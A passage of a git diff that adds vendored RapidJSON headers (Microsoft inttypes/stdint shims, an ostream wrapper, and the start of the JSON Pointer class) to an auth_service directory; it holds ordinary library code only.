+#define SCNoLEAST16 "ho" +#define SCNuLEAST16 "hu" +#define SCNxLEAST16 "hx" +#define SCNXLEAST16 "hX" +#define SCNoFAST16 "ho" +#define SCNuFAST16 "hu" +#define SCNxFAST16 "hx" +#define SCNXFAST16 "hX" + +#define SCNo32 "lo" +#define SCNu32 "lu" +#define SCNx32 "lx" +#define SCNX32 "lX" +#define SCNoLEAST32 "lo" +#define SCNuLEAST32 "lu" +#define SCNxLEAST32 "lx" +#define SCNXLEAST32 "lX" +#define SCNoFAST32 "lo" +#define SCNuFAST32 "lu" +#define SCNxFAST32 "lx" +#define SCNXFAST32 "lX" + +#define SCNo64 "I64o" +#define SCNu64 "I64u" +#define SCNx64 "I64x" +#define SCNX64 "I64X" +#define SCNoLEAST64 "I64o" +#define SCNuLEAST64 "I64u" +#define SCNxLEAST64 "I64x" +#define SCNXLEAST64 "I64X" +#define SCNoFAST64 "I64o" +#define SCNuFAST64 "I64u" +#define SCNxFAST64 "I64x" +#define SCNXFAST64 "I64X" + +#define SCNoMAX "I64o" +#define SCNuMAX "I64u" +#define SCNxMAX "I64x" +#define SCNXMAX "I64X" + +#ifdef _WIN64 // [ +# define SCNoPTR "I64o" +# define SCNuPTR "I64u" +# define SCNxPTR "I64x" +# define SCNXPTR "I64X" +#else // _WIN64 ][ +# define SCNoPTR "lo" +# define SCNuPTR "lu" +# define SCNxPTR "lx" +# define SCNXPTR "lX" +#endif // _WIN64 ] + +#endif // __STDC_FORMAT_MACROS ] + +// 7.8.2 Functions for greatest-width integer types + +// 7.8.2.1 The imaxabs function +#define imaxabs _abs64 + +// 7.8.2.2 The imaxdiv function + +// This is modified version of div() function from Microsoft's div.c found +// in %MSVC.NET%\crt\src\div.c +#ifdef STATIC_IMAXDIV // [ +static +#else // STATIC_IMAXDIV ][ +_inline +#endif // STATIC_IMAXDIV ] +imaxdiv_t __cdecl imaxdiv(intmax_t numer, intmax_t denom) +{ + imaxdiv_t result; + + result.quot = numer / denom; + result.rem = numer % denom; + + if (numer < 0 && result.rem > 0) { + // did division wrong; must fix up + ++result.quot; + result.rem -= denom; + } + + return result; +} + +// 7.8.2.3 The strtoimax and strtoumax functions +#define strtoimax _strtoi64 +#define strtoumax _strtoui64 + +// 7.8.2.4 The wcstoimax and wcstoumax functions +#define wcstoimax _wcstoi64 +#define wcstoumax _wcstoui64 + +#endif // _MSC_VER >= 1800 + +#endif // _MSC_INTTYPES_H_ ] diff --git a/services/service2/src/auth_service/rapidjson/msinttypes/stdint.h b/services/service2/src/auth_service/rapidjson/msinttypes/stdint.h new file mode 100644 index 0000000..3d4477b --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/msinttypes/stdint.h @@ -0,0 +1,300 @@ +// ISO C9x compliant stdint.h for Microsoft Visual Studio +// Based on ISO/IEC 9899:TC2 Committee draft (May 6, 2005) WG14/N1124 +// +// Copyright (c) 2006-2013 Alexander Chemeris +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions are met: +// +// 1. Redistributions of source code must retain the above copyright notice, +// this list of conditions and the following disclaimer. +// +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// +// 3. Neither the name of the product nor the names of its contributors may +// be used to endorse or promote products derived from this software +// without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED +// WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO +// EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; +// OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +// WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +// ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +// +/////////////////////////////////////////////////////////////////////////////// + +// The above software in this distribution may have been modified by +// THL A29 Limited ("Tencent Modifications"). +// All Tencent Modifications are Copyright (C) 2015 THL A29 Limited. + +#ifndef _MSC_VER // [ +#error "Use this header only with Microsoft Visual C++ compilers!" +#endif // _MSC_VER ] + +#ifndef _MSC_STDINT_H_ // [ +#define _MSC_STDINT_H_ + +#if _MSC_VER > 1000 +#pragma once +#endif + +// miloyip: Originally Visual Studio 2010 uses its own stdint.h. However it generates warning with INT64_C(), so change to use this file for vs2010. +#if _MSC_VER >= 1600 // [ +#include + +#if !defined(__cplusplus) || defined(__STDC_CONSTANT_MACROS) // [ See footnote 224 at page 260 + +#undef INT8_C +#undef INT16_C +#undef INT32_C +#undef INT64_C +#undef UINT8_C +#undef UINT16_C +#undef UINT32_C +#undef UINT64_C + +// 7.18.4.1 Macros for minimum-width integer constants + +#define INT8_C(val) val##i8 +#define INT16_C(val) val##i16 +#define INT32_C(val) val##i32 +#define INT64_C(val) val##i64 + +#define UINT8_C(val) val##ui8 +#define UINT16_C(val) val##ui16 +#define UINT32_C(val) val##ui32 +#define UINT64_C(val) val##ui64 + +// 7.18.4.2 Macros for greatest-width integer constants +// These #ifndef's are needed to prevent collisions with . +// Check out Issue 9 for the details. +#ifndef INTMAX_C // [ +# define INTMAX_C INT64_C +#endif // INTMAX_C ] +#ifndef UINTMAX_C // [ +# define UINTMAX_C UINT64_C +#endif // UINTMAX_C ] + +#endif // __STDC_CONSTANT_MACROS ] + +#else // ] _MSC_VER >= 1700 [ + +#include + +// For Visual Studio 6 in C++ mode and for many Visual Studio versions when +// compiling for ARM we have to wrap include with 'extern "C++" {}' +// or compiler would give many errors like this: +// error C2733: second C linkage of overloaded function 'wmemchr' not allowed +#if defined(__cplusplus) && !defined(_M_ARM) +extern "C" { +#endif +# include +#if defined(__cplusplus) && !defined(_M_ARM) +} +#endif + +// Define _W64 macros to mark types changing their size, like intptr_t. +#ifndef _W64 +# if !defined(__midl) && (defined(_X86_) || defined(_M_IX86)) && _MSC_VER >= 1300 +# define _W64 __w64 +# else +# define _W64 +# endif +#endif + + +// 7.18.1 Integer types + +// 7.18.1.1 Exact-width integer types + +// Visual Studio 6 and Embedded Visual C++ 4 doesn't +// realize that, e.g. char has the same size as __int8 +// so we give up on __intX for them. +#if (_MSC_VER < 1300) + typedef signed char int8_t; + typedef signed short int16_t; + typedef signed int int32_t; + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; +#else + typedef signed __int8 int8_t; + typedef signed __int16 int16_t; + typedef signed __int32 int32_t; + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; +#endif +typedef signed __int64 int64_t; +typedef unsigned __int64 uint64_t; + + +// 7.18.1.2 Minimum-width integer types +typedef int8_t int_least8_t; +typedef int16_t int_least16_t; +typedef int32_t int_least32_t; +typedef int64_t int_least64_t; +typedef uint8_t uint_least8_t; +typedef uint16_t uint_least16_t; +typedef uint32_t uint_least32_t; +typedef uint64_t uint_least64_t; + +// 7.18.1.3 Fastest minimum-width integer types +typedef int8_t int_fast8_t; +typedef int16_t int_fast16_t; +typedef int32_t int_fast32_t; +typedef int64_t int_fast64_t; +typedef uint8_t uint_fast8_t; +typedef uint16_t uint_fast16_t; +typedef uint32_t uint_fast32_t; +typedef uint64_t uint_fast64_t; + +// 7.18.1.4 Integer types capable of holding object pointers +#ifdef _WIN64 // [ + typedef signed __int64 intptr_t; + typedef unsigned __int64 uintptr_t; +#else // _WIN64 ][ + typedef _W64 signed int intptr_t; + typedef _W64 unsigned int uintptr_t; +#endif // _WIN64 ] + +// 7.18.1.5 Greatest-width integer types +typedef int64_t intmax_t; +typedef uint64_t uintmax_t; + + +// 7.18.2 Limits of specified-width integer types + +#if !defined(__cplusplus) || defined(__STDC_LIMIT_MACROS) // [ See footnote 220 at page 257 and footnote 221 at page 259 + +// 7.18.2.1 Limits of exact-width integer types +#define INT8_MIN ((int8_t)_I8_MIN) +#define INT8_MAX _I8_MAX +#define INT16_MIN ((int16_t)_I16_MIN) +#define INT16_MAX _I16_MAX +#define INT32_MIN ((int32_t)_I32_MIN) +#define INT32_MAX _I32_MAX +#define INT64_MIN ((int64_t)_I64_MIN) +#define INT64_MAX _I64_MAX +#define UINT8_MAX _UI8_MAX +#define UINT16_MAX _UI16_MAX +#define UINT32_MAX _UI32_MAX +#define UINT64_MAX _UI64_MAX + +// 7.18.2.2 Limits of minimum-width integer types +#define INT_LEAST8_MIN INT8_MIN +#define INT_LEAST8_MAX INT8_MAX +#define INT_LEAST16_MIN INT16_MIN +#define INT_LEAST16_MAX INT16_MAX +#define INT_LEAST32_MIN INT32_MIN +#define INT_LEAST32_MAX INT32_MAX +#define INT_LEAST64_MIN INT64_MIN +#define INT_LEAST64_MAX INT64_MAX +#define UINT_LEAST8_MAX UINT8_MAX +#define UINT_LEAST16_MAX UINT16_MAX +#define UINT_LEAST32_MAX UINT32_MAX +#define UINT_LEAST64_MAX UINT64_MAX + +// 7.18.2.3 Limits of fastest minimum-width integer types +#define INT_FAST8_MIN INT8_MIN +#define INT_FAST8_MAX INT8_MAX +#define INT_FAST16_MIN INT16_MIN +#define INT_FAST16_MAX INT16_MAX +#define INT_FAST32_MIN INT32_MIN +#define INT_FAST32_MAX INT32_MAX +#define INT_FAST64_MIN INT64_MIN +#define INT_FAST64_MAX INT64_MAX +#define UINT_FAST8_MAX UINT8_MAX +#define UINT_FAST16_MAX UINT16_MAX +#define UINT_FAST32_MAX UINT32_MAX +#define UINT_FAST64_MAX UINT64_MAX + +// 7.18.2.4 Limits of integer types capable of holding object pointers +#ifdef _WIN64 // [ +# define INTPTR_MIN INT64_MIN +# define INTPTR_MAX INT64_MAX +# define UINTPTR_MAX UINT64_MAX +#else // _WIN64 ][ +# define INTPTR_MIN INT32_MIN +# define INTPTR_MAX INT32_MAX +# define UINTPTR_MAX UINT32_MAX +#endif // _WIN64 ] + +// 7.18.2.5 Limits of greatest-width integer types +#define INTMAX_MIN INT64_MIN +#define INTMAX_MAX INT64_MAX +#define UINTMAX_MAX UINT64_MAX + +// 7.18.3 Limits of other integer types + +#ifdef _WIN64 // [ +# define PTRDIFF_MIN _I64_MIN +# define PTRDIFF_MAX _I64_MAX +#else // _WIN64 ][ +# define PTRDIFF_MIN _I32_MIN +# define PTRDIFF_MAX _I32_MAX +#endif // _WIN64 ] + +#define SIG_ATOMIC_MIN INT_MIN +#define SIG_ATOMIC_MAX INT_MAX + +#ifndef SIZE_MAX // [ +# ifdef _WIN64 // [ +# define SIZE_MAX _UI64_MAX +# else // _WIN64 ][ +# define SIZE_MAX _UI32_MAX +# endif // _WIN64 ] +#endif // SIZE_MAX ] + +// WCHAR_MIN and WCHAR_MAX are also defined in +#ifndef WCHAR_MIN // [ +# define WCHAR_MIN 0 +#endif // WCHAR_MIN ] +#ifndef WCHAR_MAX // [ +# define WCHAR_MAX _UI16_MAX +#endif // WCHAR_MAX ] + +#define WINT_MIN 0 +#define WINT_MAX _UI16_MAX + +#endif // __STDC_LIMIT_MACROS ] + + +// 7.18.4 Limits of other integer types + +#if !defined(__cplusplus) || defined(__STDC_CONSTANT_MACROS) // [ See footnote 224 at page 260 + +// 7.18.4.1 Macros for minimum-width integer constants + +#define INT8_C(val) val##i8 +#define INT16_C(val) val##i16 +#define INT32_C(val) val##i32 +#define INT64_C(val) val##i64 + +#define UINT8_C(val) val##ui8 +#define UINT16_C(val) val##ui16 +#define UINT32_C(val) val##ui32 +#define UINT64_C(val) val##ui64 + +// 7.18.4.2 Macros for greatest-width integer constants +// These #ifndef's are needed to prevent collisions with . +// Check out Issue 9 for the details. +#ifndef INTMAX_C // [ +# define INTMAX_C INT64_C +#endif // INTMAX_C ] +#ifndef UINTMAX_C // [ +# define UINTMAX_C UINT64_C +#endif // UINTMAX_C ] + +#endif // __STDC_CONSTANT_MACROS ] + +#endif // _MSC_VER >= 1600 ] + +#endif // _MSC_STDINT_H_ ] diff --git a/services/service2/src/auth_service/rapidjson/ostreamwrapper.h b/services/service2/src/auth_service/rapidjson/ostreamwrapper.h new file mode 100644 index 0000000..11ed4d3 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/ostreamwrapper.h @@ -0,0 +1,81 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_OSTREAMWRAPPER_H_ +#define RAPIDJSON_OSTREAMWRAPPER_H_ + +#include "stream.h" +#include + +#ifdef __clang__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(padded) +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +//! Wrapper of \c std::basic_ostream into RapidJSON's Stream concept. +/*! + The classes can be wrapped including but not limited to: + + - \c std::ostringstream + - \c std::stringstream + - \c std::wpstringstream + - \c std::wstringstream + - \c std::ifstream + - \c std::fstream + - \c std::wofstream + - \c std::wfstream + + \tparam StreamType Class derived from \c std::basic_ostream. +*/ + +template +class BasicOStreamWrapper { +public: + typedef typename StreamType::char_type Ch; + BasicOStreamWrapper(StreamType& stream) : stream_(stream) {} + + void Put(Ch c) { + stream_.put(c); + } + + void Flush() { + stream_.flush(); + } + + // Not implemented + char Peek() const { RAPIDJSON_ASSERT(false); return 0; } + char Take() { RAPIDJSON_ASSERT(false); return 0; } + size_t Tell() const { RAPIDJSON_ASSERT(false); return 0; } + char* PutBegin() { RAPIDJSON_ASSERT(false); return 0; } + size_t PutEnd(char*) { RAPIDJSON_ASSERT(false); return 0; } + +private: + BasicOStreamWrapper(const BasicOStreamWrapper&); + BasicOStreamWrapper& operator=(const BasicOStreamWrapper&); + + StreamType& stream_; +}; + +typedef BasicOStreamWrapper OStreamWrapper; +typedef BasicOStreamWrapper WOStreamWrapper; + +#ifdef __clang__ +RAPIDJSON_DIAG_POP +#endif + +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_OSTREAMWRAPPER_H_ diff --git a/services/service2/src/auth_service/rapidjson/pointer.h b/services/service2/src/auth_service/rapidjson/pointer.h new file mode 100644 index 0000000..67a9cb0 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/pointer.h @@ -0,0 +1,1482 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_POINTER_H_ +#define RAPIDJSON_POINTER_H_ + +#include "document.h" +#include "uri.h" +#include "internal/itoa.h" + +#ifdef __clang__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(switch-enum) +#elif defined(_MSC_VER) +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(4512) // assignment operator could not be generated +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +static const SizeType kPointerInvalidIndex = ~SizeType(0); //!< Represents an invalid index in GenericPointer::Token + +//! Error code of parsing. +/*! \ingroup RAPIDJSON_ERRORS + \see GenericPointer::GenericPointer, GenericPointer::GetParseErrorCode +*/ +enum PointerParseErrorCode { + kPointerParseErrorNone = 0, //!< The parse is successful + + kPointerParseErrorTokenMustBeginWithSolidus, //!< A token must begin with a '/' + kPointerParseErrorInvalidEscape, //!< Invalid escape + kPointerParseErrorInvalidPercentEncoding, //!< Invalid percent encoding in URI fragment + kPointerParseErrorCharacterMustPercentEncode //!< A character must percent encoded in URI fragment +}; + +/////////////////////////////////////////////////////////////////////////////// +// GenericPointer + +//! Represents a JSON Pointer. Use Pointer for UTF8 encoding and default allocator. +/*! + This class implements RFC 6901 "JavaScript Object Notation (JSON) Pointer" + (https://tools.ietf.org/html/rfc6901). + + A JSON pointer is for identifying a specific value in a JSON document + (GenericDocument). It can simplify coding of DOM tree manipulation, because it + can access multiple-level depth of DOM tree with single API call. + + After it parses a string representation (e.g. "/foo/0" or URI fragment + representation (e.g. "#/foo/0") into its internal representation (tokens), + it can be used to resolve a specific value in multiple documents, or sub-tree + of documents. + + Contrary to GenericValue, Pointer can be copy constructed and copy assigned. + Apart from assignment, a Pointer cannot be modified after construction. + + Although Pointer is very convenient, please aware that constructing Pointer + involves parsing and dynamic memory allocation. A special constructor with user- + supplied tokens eliminates these. + + GenericPointer depends on GenericDocument and GenericValue. + + \tparam ValueType The value type of the DOM tree. E.g. GenericValue > + \tparam Allocator The allocator type for allocating memory for internal representation. + + \note GenericPointer uses same encoding of ValueType. + However, Allocator of GenericPointer is independent of Allocator of Value. +*/ +template +class GenericPointer { +public: + typedef typename ValueType::EncodingType EncodingType; //!< Encoding type from Value + typedef typename ValueType::Ch Ch; //!< Character type from Value + typedef GenericUri UriType; + + + //! A token is the basic units of internal representation. + /*! + A JSON pointer string representation "/foo/123" is parsed to two tokens: + "foo" and 123. 123 will be represented in both numeric form and string form. + They are resolved according to the actual value type (object or array). + + For token that are not numbers, or the numeric value is out of bound + (greater than limits of SizeType), they are only treated as string form + (i.e. the token's index will be equal to kPointerInvalidIndex). + + This struct is public so that user can create a Pointer without parsing and + allocation, using a special constructor. + */ + struct Token { + const Ch* name; //!< Name of the token. It has null character at the end but it can contain null character. + SizeType length; //!< Length of the name. + SizeType index; //!< A valid array index, if it is not equal to kPointerInvalidIndex. + }; + + //!@name Constructors and destructor. + //@{ + + //! Default constructor. + GenericPointer(Allocator* allocator = 0) : allocator_(allocator), ownAllocator_(), nameBuffer_(), tokens_(), tokenCount_(), parseErrorOffset_(), parseErrorCode_(kPointerParseErrorNone) {} + + //! Constructor that parses a string or URI fragment representation. + /*! + \param source A null-terminated, string or URI fragment representation of JSON pointer. + \param allocator User supplied allocator for this pointer. If no allocator is provided, it creates a self-owned one. + */ + explicit GenericPointer(const Ch* source, Allocator* allocator = 0) : allocator_(allocator), ownAllocator_(), nameBuffer_(), tokens_(), tokenCount_(), parseErrorOffset_(), parseErrorCode_(kPointerParseErrorNone) { + Parse(source, internal::StrLen(source)); + } + +#if RAPIDJSON_HAS_STDSTRING + //! Constructor that parses a string or URI fragment representation. + /*! + \param source A string or URI fragment representation of JSON pointer. + \param allocator User supplied allocator for this pointer. If no allocator is provided, it creates a self-owned one. + \note Requires the definition of the preprocessor symbol \ref RAPIDJSON_HAS_STDSTRING. + */ + explicit GenericPointer(const std::basic_string& source, Allocator* allocator = 0) : allocator_(allocator), ownAllocator_(), nameBuffer_(), tokens_(), tokenCount_(), parseErrorOffset_(), parseErrorCode_(kPointerParseErrorNone) { + Parse(source.c_str(), source.size()); + } +#endif + + //! Constructor that parses a string or URI fragment representation, with length of the source string. + /*! + \param source A string or URI fragment representation of JSON pointer. + \param length Length of source. + \param allocator User supplied allocator for this pointer. If no allocator is provided, it creates a self-owned one. + \note Slightly faster than the overload without length. + */ + GenericPointer(const Ch* source, size_t length, Allocator* allocator = 0) : allocator_(allocator), ownAllocator_(), nameBuffer_(), tokens_(), tokenCount_(), parseErrorOffset_(), parseErrorCode_(kPointerParseErrorNone) { + Parse(source, length); + } + + //! Constructor with user-supplied tokens. + /*! + This constructor let user supplies const array of tokens. + This prevents the parsing process and eliminates allocation. + This is preferred for memory constrained environments. + + \param tokens An constant array of tokens representing the JSON pointer. + \param tokenCount Number of tokens. + + \b Example + \code + #define NAME(s) { s, sizeof(s) / sizeof(s[0]) - 1, kPointerInvalidIndex } + #define INDEX(i) { #i, sizeof(#i) - 1, i } + + static const Pointer::Token kTokens[] = { NAME("foo"), INDEX(123) }; + static const Pointer p(kTokens, sizeof(kTokens) / sizeof(kTokens[0])); + // Equivalent to static const Pointer p("/foo/123"); + + #undef NAME + #undef INDEX + \endcode + */ + GenericPointer(const Token* tokens, size_t tokenCount) : allocator_(), ownAllocator_(), nameBuffer_(), tokens_(const_cast(tokens)), tokenCount_(tokenCount), parseErrorOffset_(), parseErrorCode_(kPointerParseErrorNone) {} + + //! Copy constructor. + GenericPointer(const GenericPointer& rhs) : allocator_(), ownAllocator_(), nameBuffer_(), tokens_(), tokenCount_(), parseErrorOffset_(), parseErrorCode_(kPointerParseErrorNone) { + *this = rhs; + } + + //! Copy constructor. + GenericPointer(const GenericPointer& rhs, Allocator* allocator) : allocator_(allocator), ownAllocator_(), nameBuffer_(), tokens_(), tokenCount_(), parseErrorOffset_(), parseErrorCode_(kPointerParseErrorNone) { + *this = rhs; + } + + //! Destructor. + ~GenericPointer() { + if (nameBuffer_) // If user-supplied tokens constructor is used, nameBuffer_ is nullptr and tokens_ are not deallocated. + Allocator::Free(tokens_); + RAPIDJSON_DELETE(ownAllocator_); + } + + //! Assignment operator. + GenericPointer& operator=(const GenericPointer& rhs) { + if (this != &rhs) { + // Do not delete ownAllcator + if (nameBuffer_) + Allocator::Free(tokens_); + + tokenCount_ = rhs.tokenCount_; + parseErrorOffset_ = rhs.parseErrorOffset_; + parseErrorCode_ = rhs.parseErrorCode_; + + if (rhs.nameBuffer_) + CopyFromRaw(rhs); // Normally parsed tokens. + else { + tokens_ = rhs.tokens_; // User supplied const tokens. + nameBuffer_ = 0; + } + } + return *this; + } + + //! Swap the content of this pointer with an other. + /*! + \param other The pointer to swap with. + \note Constant complexity. + */ + GenericPointer& Swap(GenericPointer& other) RAPIDJSON_NOEXCEPT { + internal::Swap(allocator_, other.allocator_); + internal::Swap(ownAllocator_, other.ownAllocator_); + internal::Swap(nameBuffer_, other.nameBuffer_); + internal::Swap(tokens_, other.tokens_); + internal::Swap(tokenCount_, other.tokenCount_); + internal::Swap(parseErrorOffset_, other.parseErrorOffset_); + internal::Swap(parseErrorCode_, other.parseErrorCode_); + return *this; + } + + //! free-standing swap function helper + /*! + Helper function to enable support for common swap implementation pattern based on \c std::swap: + \code + void swap(MyClass& a, MyClass& b) { + using std::swap; + swap(a.pointer, b.pointer); + // ... + } + \endcode + \see Swap() + */ + friend inline void swap(GenericPointer& a, GenericPointer& b) RAPIDJSON_NOEXCEPT { a.Swap(b); } + + //@} + + //!@name Append token + //@{ + + //! Append a token and return a new Pointer + /*! + \param token Token to be appended. + \param allocator Allocator for the newly return Pointer. + \return A new Pointer with appended token. + */ + GenericPointer Append(const Token& token, Allocator* allocator = 0) const { + GenericPointer r; + r.allocator_ = allocator; + Ch *p = r.CopyFromRaw(*this, 1, token.length + 1); + std::memcpy(p, token.name, (token.length + 1) * sizeof(Ch)); + r.tokens_[tokenCount_].name = p; + r.tokens_[tokenCount_].length = token.length; + r.tokens_[tokenCount_].index = token.index; + return r; + } + + //! Append a name token with length, and return a new Pointer + /*! + \param name Name to be appended. + \param length Length of name. + \param allocator Allocator for the newly return Pointer. + \return A new Pointer with appended token. + */ + GenericPointer Append(const Ch* name, SizeType length, Allocator* allocator = 0) const { + Token token = { name, length, kPointerInvalidIndex }; + return Append(token, allocator); + } + + //! Append a name token without length, and return a new Pointer + /*! + \param name Name (const Ch*) to be appended. + \param allocator Allocator for the newly return Pointer. + \return A new Pointer with appended token. + */ + template + RAPIDJSON_DISABLEIF_RETURN((internal::NotExpr::Type, Ch> >), (GenericPointer)) + Append(T* name, Allocator* allocator = 0) const { + return Append(name, internal::StrLen(name), allocator); + } + +#if RAPIDJSON_HAS_STDSTRING + //! Append a name token, and return a new Pointer + /*! + \param name Name to be appended. + \param allocator Allocator for the newly return Pointer. + \return A new Pointer with appended token. + */ + GenericPointer Append(const std::basic_string& name, Allocator* allocator = 0) const { + return Append(name.c_str(), static_cast(name.size()), allocator); + } +#endif + + //! Append a index token, and return a new Pointer + /*! + \param index Index to be appended. + \param allocator Allocator for the newly return Pointer. + \return A new Pointer with appended token. + */ + GenericPointer Append(SizeType index, Allocator* allocator = 0) const { + char buffer[21]; + char* end = sizeof(SizeType) == 4 ? internal::u32toa(index, buffer) : internal::u64toa(index, buffer); + SizeType length = static_cast(end - buffer); + buffer[length] = '\0'; + + if (sizeof(Ch) == 1) { + Token token = { reinterpret_cast(buffer), length, index }; + return Append(token, allocator); + } + else { + Ch name[21]; + for (size_t i = 0; i <= length; i++) + name[i] = static_cast(buffer[i]); + Token token = { name, length, index }; + return Append(token, allocator); + } + } + + //! Append a token by value, and return a new Pointer + /*! + \param token token to be appended. + \param allocator Allocator for the newly return Pointer. + \return A new Pointer with appended token. + */ + GenericPointer Append(const ValueType& token, Allocator* allocator = 0) const { + if (token.IsString()) + return Append(token.GetString(), token.GetStringLength(), allocator); + else { + RAPIDJSON_ASSERT(token.IsUint64()); + RAPIDJSON_ASSERT(token.GetUint64() <= SizeType(~0)); + return Append(static_cast(token.GetUint64()), allocator); + } + } + + //!@name Handling Parse Error + //@{ + + //! Check whether this is a valid pointer. + bool IsValid() const { return parseErrorCode_ == kPointerParseErrorNone; } + + //! Get the parsing error offset in code unit. + size_t GetParseErrorOffset() const { return parseErrorOffset_; } + + //! Get the parsing error code. + PointerParseErrorCode GetParseErrorCode() const { return parseErrorCode_; } + + //@} + + //! Get the allocator of this pointer. + Allocator& GetAllocator() { return *allocator_; } + + //!@name Tokens + //@{ + + //! Get the token array (const version only). + const Token* GetTokens() const { return tokens_; } + + //! Get the number of tokens. + size_t GetTokenCount() const { return tokenCount_; } + + //@} + + //!@name Equality/inequality operators + //@{ + + //! Equality operator. + /*! + \note When any pointers are invalid, always returns false. + */ + bool operator==(const GenericPointer& rhs) const { + if (!IsValid() || !rhs.IsValid() || tokenCount_ != rhs.tokenCount_) + return false; + + for (size_t i = 0; i < tokenCount_; i++) { + if (tokens_[i].index != rhs.tokens_[i].index || + tokens_[i].length != rhs.tokens_[i].length || + (tokens_[i].length != 0 && std::memcmp(tokens_[i].name, rhs.tokens_[i].name, sizeof(Ch)* tokens_[i].length) != 0)) + { + return false; + } + } + + return true; + } + + //! Inequality operator. + /*! + \note When any pointers are invalid, always returns true. + */ + bool operator!=(const GenericPointer& rhs) const { return !(*this == rhs); } + + //! Less than operator. + /*! + \note Invalid pointers are always greater than valid ones. + */ + bool operator<(const GenericPointer& rhs) const { + if (!IsValid()) + return false; + if (!rhs.IsValid()) + return true; + + if (tokenCount_ != rhs.tokenCount_) + return tokenCount_ < rhs.tokenCount_; + + for (size_t i = 0; i < tokenCount_; i++) { + if (tokens_[i].index != rhs.tokens_[i].index) + return tokens_[i].index < rhs.tokens_[i].index; + + if (tokens_[i].length != rhs.tokens_[i].length) + return tokens_[i].length < rhs.tokens_[i].length; + + if (int cmp = std::memcmp(tokens_[i].name, rhs.tokens_[i].name, sizeof(Ch) * tokens_[i].length)) + return cmp < 0; + } + + return false; + } + + //@} + + //!@name Stringify + //@{ + + //! Stringify the pointer into string representation. + /*! + \tparam OutputStream Type of output stream. + \param os The output stream. + */ + template + bool Stringify(OutputStream& os) const { + return Stringify(os); + } + + //! Stringify the pointer into URI fragment representation. + /*! + \tparam OutputStream Type of output stream. + \param os The output stream. + */ + template + bool StringifyUriFragment(OutputStream& os) const { + return Stringify(os); + } + + //@} + + //!@name Create value + //@{ + + //! Create a value in a subtree. + /*! + If the value is not exist, it creates all parent values and a JSON Null value. + So it always succeed and return the newly created or existing value. + + Remind that it may change types of parents according to tokens, so it + potentially removes previously stored values. For example, if a document + was an array, and "/foo" is used to create a value, then the document + will be changed to an object, and all existing array elements are lost. + + \param root Root value of a DOM subtree to be resolved. It can be any value other than document root. + \param allocator Allocator for creating the values if the specified value or its parents are not exist. + \param alreadyExist If non-null, it stores whether the resolved value is already exist. + \return The resolved newly created (a JSON Null value), or already exists value. + */ + ValueType& Create(ValueType& root, typename ValueType::AllocatorType& allocator, bool* alreadyExist = 0) const { + RAPIDJSON_ASSERT(IsValid()); + ValueType* v = &root; + bool exist = true; + for (const Token *t = tokens_; t != tokens_ + tokenCount_; ++t) { + if (v->IsArray() && t->name[0] == '-' && t->length == 1) { + v->PushBack(ValueType().Move(), allocator); + v = &((*v)[v->Size() - 1]); + exist = false; + } + else { + if (t->index == kPointerInvalidIndex) { // must be object name + if (!v->IsObject()) + v->SetObject(); // Change to Object + } + else { // object name or array index + if (!v->IsArray() && !v->IsObject()) + v->SetArray(); // Change to Array + } + + if (v->IsArray()) { + if (t->index >= v->Size()) { + v->Reserve(t->index + 1, allocator); + while (t->index >= v->Size()) + v->PushBack(ValueType().Move(), allocator); + exist = false; + } + v = &((*v)[t->index]); + } + else { + typename ValueType::MemberIterator m = v->FindMember(GenericValue(GenericStringRef(t->name, t->length))); + if (m == v->MemberEnd()) { + v->AddMember(ValueType(t->name, t->length, allocator).Move(), ValueType().Move(), allocator); + m = v->MemberEnd(); + v = &(--m)->value; // Assumes AddMember() appends at the end + exist = false; + } + else + v = &m->value; + } + } + } + + if (alreadyExist) + *alreadyExist = exist; + + return *v; + } + + //! Creates a value in a document. + /*! + \param document A document to be resolved. + \param alreadyExist If 